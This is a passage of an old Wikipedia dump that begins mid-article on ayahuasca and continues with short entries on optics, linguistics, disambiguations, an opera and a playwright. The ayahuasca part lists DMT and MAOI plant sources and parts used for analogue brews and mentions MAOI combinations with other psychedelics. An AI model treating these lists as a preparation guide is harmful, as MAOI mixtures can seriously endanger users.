Nowadays, the term ayahuasca is also used outside of its native region to mean analogous concoctions made with other plants that contain the two main components, an [[MAOI]] and [[dimethyltryptamine|DMT]], one of its analogues, or [[pharmahuasca]], made from pure chemical extracts. In this usage, the [[dimethyltryptamine|DMT]] is generally considered the main &quot;active ingredient&quot;, causing the desired effects. The MAOI is necessary for DMT to be active orally. However, most ayahuasqueros and many who work with the tea regularly object to this and state that the ''Banisteriopsis'' vine is the only defining ingredient, everything else being of secondary importance. In some areas, it is even said that the chacruna or chaliponga admixtures are added only to make the tea taste sweeter.  This is a strong indicator of the often wildly divergent intentions and cultural differences between the native ayahuasca-using cultures and psychedelics enthusiasts in other countries. While the DMT can be thought of as creating the desired state, the vine itself is considered by many to be the &quot;spirit&quot; of the tea; it is the gatekeeper to the other realms and the guide through the experience, controlling access to the altered states and helping one navigate them.  Traditionally, ''B. caapi'' is and has been the defining ingredient of the tea.

In modern [[Europe]] and [[North America]], ayawaska analogues are often prepared using non-traditional plants which contain the same alkaloids. For example, seeds of the Syrian rue plant [[harmal]] are often used as a substitute for the ayawaska vine, and the DMT-rich ''[[Mimosa hostilis]]'' is used in place of ''chakruna''. [[Australia]] has several indigenous plants which are popular among modern ayahuasqueros there, such as various DMT-rich species of ''[[Acacia]]''.

In modern Western culture, [[entheogen]] users sometimes base concoctions off of Ayahuasca.  When doing so, most often Rue or ''B. caapi'' are used with a non-traditional, non-DMT admixture, such as [[psilocybin]] or [[mescaline]].  Nicknames such as Psilohuasca or shroomahuasca for mushroom based mixtures, or Pedrohuasca (from the San Pedro Cactus, which contains mescaline) are often given to such brews.  This is usually only done by experienced entheogen users who are more familiar with the chemicals and plants being used, as the uninformed combination of various neuro-chemicals can be dangerous and most are unaware that such combinations can be made.

It seems unlikely that Ayahuasca could ever emerge as a &quot;street-drug&quot;, given the difficulty of making the tea and the intense experience it provides.  Most Western users employ it almost exclusively for spiritual purposes, in line with both traditional, animist usage and organized churches such as the UDV.  A diet is almost always followed before use, including a day of fasting, to rid the body of tyramines and other contraindicated chemicals; a &quot;''dieta''&quot; is often followed as well, to spiritually cleanse the body before and after the experience.  Most recreational drug users have never even heard of Ayahuasca, DMT or MAOIs, or the possibility of alterations to the shamanic brew.

===Introduction to the West===
Ayahuasca is mentioned in the writings of some of the earliest [[missionary|missionaries]] to [[South America]], but it wasn't for some time that it became commonly known in the West.  The early missionary reports generally claim it as [[demon]]ic, and great efforts were made by the [[Roman Catholic]] Church to stamp it out.  

When originally researched in the [[20th century]], the active chemical constituent of Caapi was called ''[[telepathine]]'', but it was found to be identical to a chemical already isolated from ''Peganum harmala'' and given the name harmaline.

William Burroughs sought yagé (still considered to be &quot;telepathine&quot;) in the [[1950s]] while traveling through South America, in the hopes that it could relieve or cure [[opiate]] [[addiction]]. ''[[The Yage Letters]]'', written between Burroughs and Allen Ginsberg were probably the first major introduction of Ayahuasca to the West.

Ayahuasca was made more widely known by [[Terence McKenna|Terence]] and [[Dennis McKenna]]'s experiences with Amazonian tribes as detailed in the book ''[[Invisible Landscape]]'', which they co-authored. Their journey to the rainforest to search for Ayahuasca was spurred by their reading of Burroughs and Ginsberg.  Dennis later extensively studied the [[pharmacology]], [[botany]], and [[chemistry]] of ayahuasca and [[oo-koo-he]], which were the subjects of his master's thesis.

In Brazil, a number of modern religious movements based on the use of ayahuasca have emerged, the most famous of them being ''[[Santo Daime]]'' and the ''[[Uniao do Vegetal]]'' (or UDV), usually in a [[Spiritism|animistic]] context that may be shamanistic or, more often, (as with Santo Daime and the UDV,) mixed with [[Christianity|Christian]] imagery.  Both Santo Daime and Uniao do Vegetal now have members and churches throughout the world.

Similarly, the US and Europe has started to see new religious groups born of experiences with ayahuasca.  In the US a [[Wiccan|Wicca]] group, PaDeva, has become the first incorporated legal church with which ayahuasca is central to their beliefs.
 
Several notable celebrities have publicly discussed their use of ayahuasca, including [[Sting]], [[Tori Amos]], and [[Paul Simon]] (who wrote the song ''Spirit Voices'' about his experience with the brew in the Amazon).

==Plant constituents==
===Traditional===
Traditional Ayahuasca brews are always made with ''[[Banisteriopsis caapi]]'' as an MAOI, although DMT sources and other admixtures vary from region to region.  There are several [[Banisteriopsis caapi#Types of vine|varieties of caapi]], often known as different &quot;colors&quot;, with varying effects, potencies, and uses.

DMT admixtures:
* ''[[Psychotria viridis]]'' (Chakruna) - leaves
* ''[[Diplopterys cabrerana]]'' (Chaliponga, ''Banisteriopsis rusbyana'') - leaves
* ''[[Psychotria carthagensis]]'' (Amyruca) - leaves

Other common admixtures:
* ''[[Justicia pectoralis]]''
* [[Brugmansia]] (Toé)
* ''[[Nicotiana rustica]]'' (Mapacho)
* ''[[Ilex guayusa]]'', a relative of [[yerba mate]]

===Western===
Although traditional plant materials are often used, sources with similar chemical constituents are often substituted for the traditional ingredients.

MAOI:
* [[Harmal]] (''Peganum harmala'', Syrian Rue) - seeds
* [[Passion flower]]

DMT admixture sources:
* ''[[Acacia maidenii]]'' (Maiden's Wattle), ''[[Acacia phlebophylla]]'', and other [[Acacia]]s, most commonly employed in [[Australia]] - bark
* ''[[Anadenanthera peregrina]]'', ''A. colubrina, A. excelsa, A. macrocarpa''
* ''[[Mimosa hostilis]]'' (Jurema) - root bark - not traditionally employed with ayawaska by any existing cultures, though likely it was in the past. Popular in Europe and North America. 
* ''[[Reed canary grass|Phalaris arundinacea]]'', (Reed Canary Grass)
* ''[[Phalaris aquatica]]'' (''Phalaris tuberosa'', Harding Grass) 
* ''[[Phragmites australis]]'' (common reed)

==Legal Status==
Internationally, DMT is a Schedule I drug under the [[Convention on Psychotropic Substances]]. The Commentary on the Convention on Psychotropic Substances notes, however, that the plant itself is excluded from international control[http://www.maps.org/pipermail/maps_forum/2001-March/003376.html]:
:''The cultivation of plants from which psychotropic substances are obtained is not controlled by the Vienna Convention. . . . Neither the crown (fruit, mescal button) of the Peyote cactus nor the roots of the plant Mimosa hostilis nor Psilocybe mushrooms themselves are included in Schedule 1, but only their respective principles, mescaline, DMT and psilocin.'' 

A [[fax]] from the Secretary of the International Narcotics Control Board to the [[Netherlands]] Ministry of Public Health sent in [[2001]] goes on to state that ''&quot;Consequently, preparations (e.g.decoctions) made of these plants, including ayahuasca are not under international control and, therefore, not subject to any of the articles of the 1971 Convention.&quot;'' [http://www.erowid.org/chemicals/ayahuasca/ayahuasca_law10.shtml]

The legal status of these plants in the United States is somewhat questionable.  Ayahuasca plants and preparations are legal as they contain no scheduled chemicals. However, brews made using DMT containing plants are illegal since DMT is a Schedule I drug.  That said, some people are challenging this, using arguments similar to those used by peyotist religious sects, such as the [[Native American Church]]. A court case allowing ''Uniao do Vegetal'' to use the tea for religious purposes in the United States, ''[[Gonzales v. O Centro Espírita Beneficente União do Vegetal]]'', was heard by the [[U.S. Supreme Court]] on November 1, 2005; the decision, released February 21st, 2006, allows the UDV to use the tea in its ceremonies persuant to the [[Religious Freedom Restoration Act]].

Religious use in Brazil was legalized after two official inquiries into the tea in the mid-1980s, which concluded that ayahuasca is not a recreational drug and has valid spiritual uses.  (more on the legal status of ayahuasca can be found in the [[Erowid]] vault on the [http://www.erowid.org/chemicals/ayahuasca/ayahuasca_law.shtml legality of ayahuasca]).

In [[France]], Santo Daime won a court case allowing them to use the tea in early 2005; however, they were not allowed an exception for religious purposes, but rather for the simple reason that they did not perform chemical extractions to end up with pure DMT and harmala and the plants used were not scheduled.  Four months after the court victory, the common ingredients of Ayahuasca as well as harmala were declared ''stupéfiants'', or narcotic schedule I substances, making the tea and its ingredients illegal to use or possess. See [http://www.legifrance.gouv.fr/WAspad/UnTexteDeJorf?numjo=SANP0521544A%20#] and [http://afssaps.sante.fr/htm/10/filcoprs/indco.htm] (both in French) for more information.

In the United States, on February 21, 2006, the Brazilian-based religious group O Centro Espirita Beneficiente Uniao do Vegetal (UDV) was awarded by the Supreme Court the legal right to use ayahausca as their sacrament.

==External links==
*[http://www.santodaime.org/indexy.htm Santo Daime] (in English)
*[http://www.udv.org.br/english/index.html União do Vegetal] (in English)
*[http://www.padeva.com/home.html PaDeva Church]
*[http://www.erowid.org/chemicals/ayahuasca/ayahuasca.shtml Erowid Ayahuasca vault]
*[http://deoxy.org/dmt.htm DMT@DEOXY]
*[http://dmt.lycaeum.org/ DMT World]
*[http://www.spiritplants.org/ Spirit Plants]
*[http://releasethereality.com/thomasbitllgallery/index.html &quot;Release The Reality&quot; Preparation Photo Gallery]
*[http://www.plot55.com/usage/ayahuasca.html Traditional Preparation Methods (Plot55.com)]
*[http://www.plot55.com/growing/p.viridis.html Growing Psychotria viridis (Plot55.com)]
*[http://www.drugpolicy.org/news/12_02_04nmchurch.cfm Ayahuasca Church Blocked for Now]
*[http://www.csse.ca/CJE/Articles/FullText/CJE27-4/CJE27-4-tupper.pdf Ayahuasca and other &quot;plant teachers&quot;--educational potential?]
*[http://pot.tv/archive/shows/pottvshowse-3780.html Ayahuasca &amp; the Internet?]
*[http://forums.ayahuasca.com  The Ayahuasca Forum] (full of good info.)
*[http://www.religionlink.org/tip_051031b.php?printer_friendly=1  Tea Case Could Cause Religious Liberty Tempest] (backgrounder w/sources)
*[http://www.firstamendmentcenter.org/analysis.aspx?id=16011  Justices Take Issue With Ban Of Religious Tea ]
*[http://www.grahamhancock.com/gallery/supernatural/ DMT visions gallery]
*[http://aei.helping.nl Ancient Enchanting Instruments] Website on Enchanting Instruments. You will find information about Ayahuasca, DMT, Mushrooms and more...

==Books==
* Burroughs, William S. &amp; Ginsberg, Allen. ''[[The Yage Letters]]''.  San Francisco: City Lights Books, 1963. ISBN 0872860043
*De Rios, Marlene Dobkin. ''Visionary Vine: Hallucinogenic Healing in the Peruvian Amazon, (2nd ed.)''. Prospect Heights, IL: Waveland, 1984. ISBN 0881330930
*Lamb, F. Bruce. ''Rio Tigre and Beyond: The Amazon Jungle Medicine of Manuel Córdova''. Berkeley: North Atlantic, 1985. ISBN 0938190598
*Luna, Luis Eduardo. ''Vegetalismo: Shamanism among the Mestizo Population of the Peruvian Amazon''. Stockholm: Almqvist &amp; Wiksell International, 1986. ISBN 9122008195
* Luna, Luis Eduardo &amp; Amaringo, Pablo. ''Ayahuasca Visions: The Religious Iconography of A Peruvian Shaman''. Berkeley: North Atlantic, 1999. ISBN 1556433115
* Luna, Luis Eduardo &amp; White, Stephen F., eds. ''Ayahuasca Reader: Encounters with the Amazon's Sacred Vine''. Santa Fe, NM: Synergetic, 2000. ISBN 0907791328
*Matteson Langdon, E. Jean &amp; Baer, Gerhard, eds. ''Portals of Power: Shamanism in South America''.  Albuquerque: University of New Mexico Press, 1992. ISBN 0826313450
* Metzner, Ralph, ed. ''Ayahuasca: Hallucinogens, Consciousness, and the Spirit of Nature''. New York: Thunder's Mouth, 1999. ISBN 1560251603
* Narby, Jeremy. ''The Cosmic Serpent: DNA and the Origins of Knowledge''. New York: Jeremy P. Tarcher/Putnam, 1998. ISBN 0874779111
* Ott, Jonathan. ''Ayahuasca Analogues: Pangæan Entheogens''. Kennewick, Wash.: Natural Products, 1994. ISBN 0961423455
* Pinchbeck, Daniel. ''Breaking Open the Head: A Psychedelic Journey into the Heart of Contemporary Shamanism''. New York: Broadway, 2002.  ISBN 0767907434[http://www.breakingopenthehead.com]
* Polari de Alverga, Alex. ''Forest of Visions: Ayahuasca, Amazonian Spirituality, and the Santo Daime Tradition''. Rochester, Vt.: Park Street, 1999. ISBN 089281716X
*Reichel-Dolmatoff, Gerardo. ''The Shaman and the Jaguar: A Study of Narcotic Drugs Among the Indians of Colombia''. Philadelphia: Temple University Press, 1975. ISBN 0877220387
*Schultes, Richard Evans &amp; Raffauf, Robert F. ''Vine of the Soul: Medicine Men, Their Plants and Rituals in the Colombian Amazonia''. Oracle, AZ: Synergetic, 1992. ISBN 0907791247
* Shanon, Benny. ''The Antipodes of the Mind: Charting the Phenomenology of the Ayahuasca Experience''. Oxford: Oxford University Press, 2002. ISBN 0199252939
* Stafford, Peter G. ''Heavenly Highs: Ayahuasca, Kava-Kava, Dmt, and Other Plants of the Gods''. Berkeley: Ronin, 2004. ISBN 1579510698
* Strassman, Rick. ''DMT: The Spirit Molecule: A Doctor's Revolutionary Research into the Biology of Near-Death and Mystical Experiences''. Rochester, Vt.: Park Street, 2001.  ISBN 0892819278
*Taussig, Michael. ''Shamanism, Colonialism, and the Wild Man: A Study in Terror and Healing''. Chicago: University of Chicago Press, 1986. ISBN 0226790126
* Wilcox, Joan Parisi (2003). ''Ayahuasca: The Visionary and Healing Powers of the Vine of the Soul''. Rochester, Vt.: Park Street. ISBN 0892811315

{{Monoamine oxidase inhibitors}}
{{Hallucinogenic tryptamines}}

[[Category:Entheogens]]
[[Category:Herbal and fungal hallucinogens]]
[[Category:Psychedelic tryptamine carriers]]

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  </page>
  <page>
    <title>Alfonso Leng</title>
    <id>2329</id>
    <revision>
      <id>24327348</id>
      <timestamp>2005-09-29T16:15:43Z</timestamp>
      <contributor>
        <username>Missmarple</username>
        <id>207003</id>
      </contributor>
      <minor />
      <comment>fix a link</comment>
      <text xml:space="preserve">{{cleanup-biography}}

'''Alfonso Leng''' ([[February 11]], [[1894]] &amp;ndash; [[November 11]], [[1974]]) was a composer of [[European classical music|classical music]]. He was born in [[Santiago, Chile|Santiago]], [[Chile]].

{{composer-stub}}

[[Category:1894 births|Leng, Alfonso]]
[[Category:1974 deaths|Leng, Alfonso]]
[[Category:Chilean musicians|Leng, Alfonso]]</text>
    </revision>
  </page>
  <page>
    <title>Abbe number</title>
    <id>2330</id>
    <revision>
      <id>35724579</id>
      <timestamp>2006-01-18T21:14:32Z</timestamp>
      <contributor>
        <username>Kaszeta</username>
        <id>91287</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">[[Image:Abbe-diagram.png|right|thumb|380px|An Abbe diagram plots the Abbe number against refractive index for a range of different glasses (red dots). Glasses are classified using the Schott Glass letter-number code to reflect their composition and position on the diagram.]]

In [[physics]] and [[optics]], the '''Abbe number''', also known as the '''V-number''' or '''constringence''' of a transparent material, is a measure of the material's [[dispersion (optics)|dispersion]] (variation of [[refractive index]] with wavelength). It is named for [[Ernst Abbe]] ([[1840]]-[[1905]]), the German physicist who defined it.

The Abbe number ''V'' of a material is defined as:

:&lt;math&gt;V = \frac{ n_D - 1 }{ n_F - n_C }&lt;/math&gt;

where ''n''&lt;sub&gt;D&lt;/sub&gt;, ''n''&lt;sub&gt;F&lt;/sub&gt; and ''n''&lt;sub&gt;C&lt;/sub&gt; are the [[refractive index|refractive indices]] of the material at the wavelengths of the [[Fraunhofer lines|Fraunhofer]] D-, F- and C- [[spectral line]]s (589.2 [[Nanometre|nm]], 486.1 nm and 656.3 nm respectively). Low dispersion materials have high values of ''V''.

Abbe numbers are used to classify [[glass]]es. For example, [[flint glass]]es have ''V''&lt;50 and [[Crown glass (optics)|crown glass]]es have ''V'' &gt;50. Typical values of ''V'' range from around 20 for very dense flint glasses, up to 65 for very light crown glass, and up to 85 for [[fluorite|fluor]]-crown glass. Abbe numbers are only a useful measure of dispersion for visible light, and for other wavelengths, or for higher precision work, the [[dispersion (optics)|group velocity dispersion]] is used.

Alternate definitions of the Abbe number are used in some contexts. The value ''V''&lt;sub&gt;d&lt;/sub&gt; is given by:
:&lt;math&gt; V_d = \frac{n_d-1}{ n_F - n_C }&lt;/math&gt;
which defines the Abbe number with respect to the yellow Fraunhofer d (or D&lt;sub&gt;3&lt;/sub&gt;) [[helium]] line at 587.6 nm wavelength. It can also be defined at the blue [[iron]] e-line at 438.4 nm:
:&lt;math&gt; V_e = \frac{n_e-1}{ n_{F'} - n_{C'}}&lt;/math&gt;
where F' and C' are the blue and red [[cadmium]] lines at 480.0 nm and 643.8 nm, respectively.

An '''Abbe diagram''' is produced by plotting the Abbe number ''V''&lt;sub&gt;d&lt;/sub&gt; of a material versus its refractive index ''n''&lt;sub&gt;d&lt;/sub&gt;. Glasses can then be categorised by their composition and position on the diagram. This can be a letter-number code, as used in the [[Schott Glass]] catalogue, or a 6-digit [[glass code]].

Abbe numbers are used to calculate the necessary [[focal length]]s of achromatic doublet [[lens (optics)|lenses]] to minimize [[chromatic aberration]].

==See also==
*[[Abbe prism]]
*[[Abbe refractometer]]

[[Category:Dimensionless numbers]]
[[Category:Optics]]

[[de:Abbesche Zahl]]
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[[zh:&amp;#38463;&amp;#36125;&amp;#25968;]]</text>
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  </page>
  <page>
    <title>ACN</title>
    <id>2331</id>
    <revision>
      <id>39159911</id>
      <timestamp>2006-02-11T02:42:12Z</timestamp>
      <contributor>
        <username>Matthew hk</username>
        <id>727505</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''ACN''' is a [[three-letter abbreviation]] with multiple meanings, as described below:

*'''''[[ACN Inc.]]''''', one of the world’s largest direct selling telecommunications company.

*the stock symbol of '''''[[Accenture]]''''' Ltd.

*the [[ISO 639-3|ISO/DIS 639-3]] code for the '''''[[Achang]]''''' language of China.

*'''''[[African Cup of Nations]]''''' - main international football competition for [[Confederation of African Football|CAF]] nations

*'''''[[Ante Christum Natum]]''''', the [[Latin]] equivalent of '&quot;[[Anno Domini|B.C.]]&quot;', seldom used in English.

*'''''[[Armored Core|Armored Core: Nexus]]''''', a game published by From Software for the [[PlayStation 2]]

*the [[National Rail]] code for [[Achnasheen railway station]], [[United Kingdom]]. External links: {{Sildb prim|ACN|station information}}; {{Mmukpcloc|IV22|2EE}}; {{Brldb prim|ACN|live departures and arrivals}}. 

*'''''[[Architecture for Control Networks]]''''', a network protocol for theatical control being developed by [[ESTA (Entertainment Services and Technology Association)]].

*'''''[[Allegiance Chat Network]]''''' or ACN for short, a network of themed chatrooms operated since 2000, starting with the [[Final Fantasy Allegiance]] (known as the [[FFA]] for short), other rooms operated by the [[ACN]] was [[Korins Tower]] a [[dragonball]] z themed room.

* the commonly used abbreviation for [[Australian Company Number]]

* common abbreviation to '''''[[Acrylonitrile]]''''', a precursor monomer in the manufacture of synthetic polymers.

* '''American Collectibles Network''', a American television network now known as [[Jewelry Television]]. 

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>AD (disambiguation)</title>
    <id>2332</id>
    <revision>
      <id>40500191</id>
      <timestamp>2006-02-21T00:31:57Z</timestamp>
      <contributor>
        <username>El jefe</username>
        <id>957865</id>
      </contributor>
      <text xml:space="preserve">{{Wiktionarypar3|AD|ad-|ad}}
'''AD''', '''Ad''' or '''ad''' may stand for:

*[[.ad]], the ccTLD (Internet Top Level Domain) for Andorra
**AD, the 2-letter ISO 3166-1 country code for [[Andorra]]
*[[Advertisement|'''Ad'''vertisement]]
*[[Assistant director]]
*[[Alzheimer's disease]]
*[[Artium Doctor]] (Doctor of Arts)
*[[Art director]] 
*''Media''
**[[Arrested Development (TV Series)]], a Fox Network TV program 
**[[Algemeen Dagblad]], a Dutch newspaper.
**[[AD]], [[Utopia (online game)]] slang for Animate Dead (Spell)

*''History''
**Civilization of [['Ad]], mentioned in the Quran.

*''Language''
**[[Anno Domini]], Latin for &quot;In the Year of the Lord&quot;. This year is AD {{CURRENTYEAR}}.
**[[Anno Diocletiani]]
**[[Wiktionary:ad-|ad-]] prefix
**ad for advertisement, see [[Advertising]]
**The word 'ad' is Latin for &quot;at&quot; or &quot;to&quot;  in some phrases taken from Latin.

*''Military''
**[[Air defence]]
**[[Destroyer Tender]] a US Navy hull classification symbol
**The [[Air Department]] of the British Admiralty

*''Science and Technology''
**[[Automatic differentiation]] in numeric computer programming
**[[Axiom of determinacy]] in set theory 
** Ricardo Carezani's theory of [[Autodynamics]] in physics
**[[Audio Deck]]
**[[Audio description|Audio Description]], a narration track for blind and visually impaired viewers of e.g. TV and film
**[[Auto Desk]]
**[[Administrative domain]]
**the Association of American Railroads reporting mark AD for [[Norfolk, Franklin and Danville Railway]] 
** Microsoft's [[Active Directory]]
** the IATA code for [[Air Paradise]]
** In economics, AD is usually used to represent [[Aggregate demand]] or aggregate expenditure.
** In recording, AD (or A/D) refers to an [[Analog-to-digital converter]].

{{2LCdisambig}}

[[cs:AD]]
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  </page>
  <page>
    <title>Ablative case</title>
    <id>2333</id>
    <revision>
      <id>40082650</id>
      <timestamp>2006-02-18T00:23:11Z</timestamp>
      <contributor>
        <username>Pjetër Bogdani</username>
        <id>719346</id>
      </contributor>
      <minor />
      <comment>added albanian</comment>
      <text xml:space="preserve">{{Table_Cases}}

''For the physical process, see [[ablation]]. For the science fiction concept, see [[ablative armor]].''

In [[linguistics]], the '''ablative case''' is a [[declension|noun case]] found in several languages, including [[Latin]], [[Albanian language|Albanian]], [[Armenian language|Armenian]],  [[Sanskrit]] and the [[Finno-Ugric languages]]. 

The Latin ablative combines the functions of the [[Indo-European languages|Indo-European]] ablative (indicating &quot;from&quot;), [[instrumental case|instrumental]] (indicating &quot;with&quot; or &quot;by&quot;), and [[locative case|locative]] (indicating &quot;in&quot;) cases, which merged together in the development of Latin. From these original meanings several others developed, including the ablative of cause (indicating &quot;caused by&quot;), the ablative of time and means (indicating &quot;at the time of&quot;, deriving from the locative), and the [[ablative absolute]].

In [[Finnish language|Finnish]], the ablative case is the sixth of the locative cases with the meaning &quot;from off of&quot;, e.g. ''pöytä &amp;mdash; pöydältä'' &quot;table &amp;mdash; off from the table&quot;. It is an outer locative case, used just as the [[adessive]] and [[allative]] cases to denote both being on top of something and &quot;being around the place&quot; (as opposed to the inner locative case, the [[elative]], which means &quot;from out of&quot; or &quot;from the inside of&quot;).

The other locative cases in Finnish are:
*[[Inessive case]] (&quot;in&quot;)
*[[Elative case]] (&quot;out of&quot;)
*[[Illative case]] (&quot;into&quot;)
*[[Adessive case]] (&quot;on&quot;)
*[[Allative case]] (&quot;onto&quot;)

== Latin usage ==
The case also exists in three kinds besides its direct purpose and [[Ablative absolute|''Ablativus absolutus'']]:
* ''Ablativus separationis'' with meaning of separation, e.g. ''movere loco'' - &quot;to put aside&quot;, ''educere castris'' - &quot;to bring out from camp&quot; or ''domo'' - &quot;from home&quot;, ''Roma'' - &quot;from Rome&quot;;
* ''Ablativus causae'' means the reason, e.g. ''ira clamare'' - &quot;to shout because of anger&quot;, ''morbo abesse'' - &quot;to absent because of disease&quot;;
* ''Ablativus comparativus'' which is used in comparisons, e.g. ''vilius argentum'' '''auro''' - &quot;the silver is cheaper than gold&quot;;


[[Category:Grammatical cases]]

[[cs:Ablativ]]
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[[fr:Ablatif]]
[[gl:Ablativo]]
[[id:Ablativus]]
[[it:Ablativo]]
[[ja:奪格]]
[[la:Ablativus]]
[[nl:Ablatief]]
[[pl:Ablatiwus]]
[[ro:Cazul ablativ]]
[[fi:Ablatiivi]]
[[sv:Ablativ]]
[[zh:离格]]</text>
    </revision>
  </page>
  <page>
    <title>Adamic language</title>
    <id>2335</id>
    <revision>
      <id>40359765</id>
      <timestamp>2006-02-20T01:21:12Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Adamic language''' is a term for the hypothetical [[proto-language]] believed spoken by [[Adam and Eve]] in [[paradise]], either identical with the language used by [[God]] to address Adam, or invented by Adam as '''nomothete''' (name-giver, [[Genesis]] 2:19). It is unclear whether the Bible assumes that this language was preserved by Adam's descendents until the [[confusion of tongues]] (Genesis 11:1-9), or that it began to evolve naturally as a consequence of [[Original sin]] (Genesis 10:5).

In previous centuries, many scholars believed that the Adamic language was [[Biblical Hebrew]], and that all languages are descended from it. The Bible does not make a direct claim to that extent, however, and some [[Early Modern]] scholars based on Genesis 10:5 have assumed that the [[Japhetite]] languages are rather the direct descendents of the Adamic language, having separated before the confusion of tongues, by which also Hebrew was affected.

The modern concept corresponding to that of the Adamic language is that of the [[Proto-World language]], but rather than positing divine inspiration,  linguists assume that it arose from [[proto-linguistic]] forms of communication.

==The Adamic language in Mormonism==
In [[Mormonism]], the Adamic language has been thought by some [[Latter Day Saints]] to be the language of [[God]]. Though different from Hebrew, the Hebrew language was thought to contain remnants of this ancient language, including the words [[Elohim]] and [[Jehovah]]. According to [[Joseph Smith, Jr.]]'s translation of the ''Bible'', this language was &quot;pure and undefiled&quot; ([[Book of Moses]] 6:6).

Some early leaders of the [[Latter Day Saint movement]], including founder Joseph Smith, Jr. ([[Journal of Discourses|JD]] 2:342), and [[Latter-day Saint]] leaders [[Brigham Young]] ([[History of the Church of Jesus Christ of Latter-day Saints (book)|HC]] 1:297) and [[Elizabeth Ann Whitney]] (7 Woman's Exponent 83 (Nov. 1, 1878)) claimed to have received several words in the Adamic language in revelations.  Some Latter Day Saints believe that the Adamic language will be restored as the universal language of humankind at the end of the world.

The name of the [[Mormon]] settlement &quot;[[Adam-ondi-Ahman]]&quot; in Daviess County, [[Missouri]], US, is said to be in the Adamic language. Also, some allegedly Adamic words were used in the [[Endowment (Mormonism)|Temple Endowment]] prior to [[1990]]. While no written copy of them is available, they were pronounced the same as the English words &quot;Pay Lay El&quot;. The given English translation was &quot;Oh God, hear the words of my mouth.&quot; The English translation is used in the rite today.

Other words thought by some Mormons to derive from the Adamic language include ''[[deseret]]'' (&quot;honey bee&quot;, see [[Book of Ether|Ether]] 2:3), ''Ahman'' (&quot;God&quot;), ''son Ahman'' (&quot;Son of God&quot;, see LDS [[Doctrine and Covenants|D&amp;C]] 78:20, 95:17), ''sons Ahman'' (&quot;sons of God&quot;), and ''shelem'' (&quot;height&quot;, see [[Book of Ether|Ether]] 3:1).  ''[[Nauvoo]]'' (&quot;beautiful&quot;) is also often popularly attributed to Adamic, but it is actually a [[Sephardi Hebrew]] word ([[Standard Hebrew]] &amp;#1504;&amp;#1488;&amp;#1493;&amp;#1493; ''navu'').

==See also==
*[[History of linguistics]]
*[[Proto-World Language]]
*[[confusion of tongues]]

==Reference==
* John S. Robertson, 1 ''[[Encyclopedia of Mormonism]]'', &quot;Adamic Language&quot;.

==External links==
* [http://www.meridianmagazine.com/sci_rel/010808adamic.html In Search of the Adamic Language, Meridian Magazine]

[[Category:Proto-languages]]
[[Category:Latter Day Saint doctrines, beliefs, and practices]]
[[Category:Languages whose existence is uncertain]]</text>
    </revision>
  </page>
  <page>
    <title>Rise and Fall of the City of Mahagonny</title>
    <id>2338</id>
    <revision>
      <id>36804312</id>
      <timestamp>2006-01-26T16:17:12Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">'''''Aufstieg und Fall der Stadt Mahagonny''''' (''Rise and Fall of the City of Mahagonny'') is a political-satirical [[opera]] composed by [[Kurt Weill]] to a [[German language|German]] [[libretto]] by [[Bertolt Brecht]].  It was first performed in [[Leipzig]] on [[March 9]] [[1930]].

== Plot ==
The story is that three criminals (Leokadja Begbick, Trinity Moses and Fatty) create the city of Mahagonny. Drinking, gambling, prize-fights and similar activities are the sole occupation of the inhabitants, and money rules. There are only two main characters, Jenny, a prostitute, and Jim Mahoney, a lumberjack. Mahagonny is threatened by a [[tropical cyclone|hurricane]] at the end of Act 1, which despite much anticipation &amp; causing much distress simply bypasses the city. In Act 2 following the hurricane nothing is forbidden and various scenes of debauchery occur. Jenny and Jim try to leave but Jim cannot pay his debts and is arrested. Another character [[arraignment|arraigned]] for [[murder]], [[bribery|bribe]]s his way out of it, but Jim has no money and is condemned to death for not paying for his whisky. The opera ends with discontent destroying the city, which burns as the inhabitants march away.

The music uses a number of styles, including [[ragtime|rag-time]], [[jazz]] and formal [[counterpoint]], notably in the ''[[Alabama Song]]'' (covered by [[The Doors]]). The lyrics for the ''Alabama Song'' and another song, the ''Benares Song'' are in English (albeit specifically idiosyncratic English) and are performed in that language even when the opera is performed in its original ([[German language|German]]) language.

== History ==
It had its premiere in [[Leipzig]] in March [[1930]] and played in [[Berlin]] in December of the following year. The opera was banned by the [[Nazis]] in [[1933]] and did not have a significant production until the 1960s. It has played in opera houses around the world. Never achieving the popularity of Weill and Brecht's ''[[Threepenny Opera]],'' ''Mahagonny'' is still considered a work of stature with a haunting score. Herbert Lindenberger in his book ''Opera in History'', for example, views ''Mahagonny'' alongside Schoenberg's ''[[Moses und Aron]]'' as indicative of the two poles of modernist opera.

[[Category:Operas by Kurt Weill]]
[[Category:German-language operas]]
[[Category:Satirical opera]]
[[Category:Operas]]
[[Category:Bertolt Brecht]]
[[de:Aufstieg und Fall der Stadt Mahagonny]]
[[it:Ascesa e caduta della città di Mahagonny]]
[[sv:Staden Mahagonnys uppgång och fall]]</text>
    </revision>
  </page>
  <page>
    <title>Avery Hopwood</title>
    <id>2339</id>
    <revision>
      <id>36763344</id>
      <timestamp>2006-01-26T08:13:19Z</timestamp>
      <contributor>
        <username>IstvanWolf</username>
        <id>496966</id>
      </contributor>
      <text xml:space="preserve">[[Image:Hopwood.jpeg|thumb|130px|right|WPA Poster of a Hopwood play]]

'''Avery Hopwood''' ([[May 28]], [[1882]] - [[July 1]], [[1928]]) was an [[United States|American]] [[playwright]] who wrote [[farce]]s such as ''[[Getting Gertie's Garter]]'' ([[1927]]). He established the [[Hopwood Award]] at the [[University of Michigan]], an award later won by [[Arthur Miller]] for his first play.

He was born in [[Cleveland, Ohio]] and he died in [[Juan-les-Pins]], [[France]].  He is the only playwright to ever have four plays running simultaneously on Broadway ([[Neil Simon]] once had three).  

==Further reading==
*''Avery Hopwood : his life and plays'', by [[Jack Sharrar]] (1989)

==External links==
* {{gutenberg author| id=Avery+Hopwood | name=Avery Hopwood}}
*[http://www.ibdb.com/person.asp?ID=4388 Internet Broadway Database - Complete list of Hopwood plays]

{{theat-stub}}

[[Category:1882 births|Hopwood, Avery]]
[[Category:1928 deaths|Hopwood, Avery]]
[[Category:American dramatists and playwrights|Hopwood, Avery]]

[[sv:Avery Hopwood]]</text>
    </revision>
  </page>
  <page>
